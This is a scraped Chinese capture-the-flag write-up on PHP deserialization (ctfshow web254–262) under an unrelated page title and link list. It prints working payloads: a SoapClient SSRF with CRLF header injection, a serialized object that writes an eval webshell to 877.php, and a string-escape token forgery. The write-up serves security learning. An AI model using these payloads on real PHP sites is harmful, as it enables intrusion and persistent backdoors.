当前位置: 首页 > news >正文

青浦门户网站wordpress屏蔽国内ip

青浦门户网站,wordpress屏蔽国内ip,规范机关单位网站建设,做网站需要了解什么东西PHP反序列化前置知识 序列化和反序列化 对象是不能在字节流中传输的,序列化就是把对象转化为字符串以便存储和传输,反序列化就是将字符串转化为对象 魔术方法 __construct() //构造,当对象new时调用 __wakeup() //执行unserialize()时&am…

PHP反序列化前置知识

序列化和反序列化

对象是不能在字节流中传输的,序列化就是把对象转化为字符串以便存储和传输,反序列化就是将字符串转化为对象

魔术方法

__construct() //构造,当对象new时调用
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

POP链

在这里插入图片描述

web254

在这里插入图片描述
这里其实没有涉及反序列化。这题使用GET方式获取username和password的值,创建一个ctfshowUser对象,->代表指向,首先调用上面的login方法,login方法使用this代表前面的username和password的值为ctfshowUser的值xxxxxx,如果满足条件就把 $this->isVip=true,然后通过vipOneKeyGetFlag()通过判断获取flag,构造?username=xxxxxx&password=xxxxxx即可
在这里插入图片描述

web255

在这里插入图片描述
这题的区别在于login方法不能把isvip置为true,而且user为对cookie值进行反序列化的结果,这里我们需要对class ctfShowUser进行序列化,并且修改 public $isVip=false为true,首先构造序列化,然后将序列化结果以cookie方式传递

<?php
class ctfShowUser{public $isVip=true;
}
$a=new ctfShowUser;
echo urlencode(serialize($a));
?>

在这里插入图片描述
在这里插入图片描述

web256

在这里插入图片描述
这题需要构造username不等于password,原来他们都是xxxxxx,现在需要通过序列化修改初始值
在这里插入图片描述
在这里插入图片描述

web257

__construct() //构造,当对象new时调用
__destruct() //对象被销毁时触发
这题在新建对象时先实例化info,然后在销毁时调用getinfo方法,而我们的最终目的是调用backdoor的方法使用eval这个函数
在这里插入图片描述

在这里插入图片描述

web258

这题使用正则表达式过滤,使用+号绕过
在这里插入图片描述

在这里插入图片描述

web259

在这里插入图片描述
__call 在对象中调用一个不可访问方法时调用
在这道题中$vip->getFlag();因为调用了类中没有的方法所以会导致__call的执行
在这里插入图片描述
payload

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22wupco%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7Dr
传入vip,然后访问flag.txt即可
在这里插入图片描述

web260

在这里插入图片描述
此题只需要满足匹配条件就行

web261

在这里插入图片描述
题目是这样的,构造payload

<?phpclass ctfshowvip{public $username="877.php";public $password='<?php @eval($_POST[yc]); ?>';
}
$a=new ctfshowvip();
echo urlencode(serialize($a));
?>

首先,__construct方法是创建对象时调用的,我们现在给username和password赋予初值,同时对象销毁时调用__destruct,这里进行了弱类型比较,0x36D=877.php,然后__unserialize() 和 __wakeup()两个魔术方法都定义在用一个对象中, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。这里进行了字符串拼接
在这里插入图片描述

web262字符串逃逸

在这里插入图片描述
这题主要考察字符串逃逸, PHP 在反序列化时,对类中不存在的属性也会进行反序列化
• PHP 在反序列化时,底层代码是以 ;作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的
序列化
在这里插入图片描述
在这里插入图片描述
需要构造 “;s:5:“token”;s:5:“admin”;},一共27字符
构造payload
f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck”;s:5:“token”;s:5:“admin”;},然后访问message.php即可
在这里插入图片描述

http://www.yayakq.cn/news/968093/

相关文章:

  • 汽车建设网站的能力网站备案百度站长提交
  • 网站建设中模板下载建设不动产网站
  • 江西省建设部网站政企网站建设
  • 北海市做网站的公司电脑速成班短期电脑培训班
  • 哪里找专业做网站的人企业信用信息查询公示报告
  • 现在做网站还用dw做模板了吗郑州网络推广哪家口碑好
  • 杭州做网站小程序公司照片在线编辑
  • 云南照明网站建设湛江海田网站建设招聘
  • 企业网站改版项目描述17网站一起做网店app
  • 红酒论坛网站建设东莞南城网站设计
  • 如何修改网站的关键词ps怎么制作网页教程
  • 山西路桥建设集团网站网站建设平台设备
  • 网站建设如何推广the7 做的网站
  • 东莞专业网站推广工具门户网站制作哪专业
  • 图片做多的网站是哪个宁波网站建设科技有限公司
  • 手机销售网站源码上海赶集网站建设
  • 个人网站建设存在哪些问题国外 网页框架搭建的网站
  • 网站建设.c数据分析师资格证书怎么考
  • 微信支付 企业网站做网站手机软件
  • 做饼干的网站做任务给钱的网站
  • 网站首页的布局方式大连建行网点
  • 网站建设课程设计实训心得石家庄手机网站建站
  • 佛山 做网站网站后台管理软件
  • 大型网站建设规范php网站开发前言
  • 天津建站南通建公司网站
  • 网站栏目建设征求意见安徽 网站制作
  • 手机网站设计欣赏建设工程合同管理多少分及格
  • 专业做汽车零部件平台的网站青岛网站推广优化
  • 中山做百度网站的公司吗拓普网站建设
  • 福田做商城网站建设哪家便宜python 网站开发那个好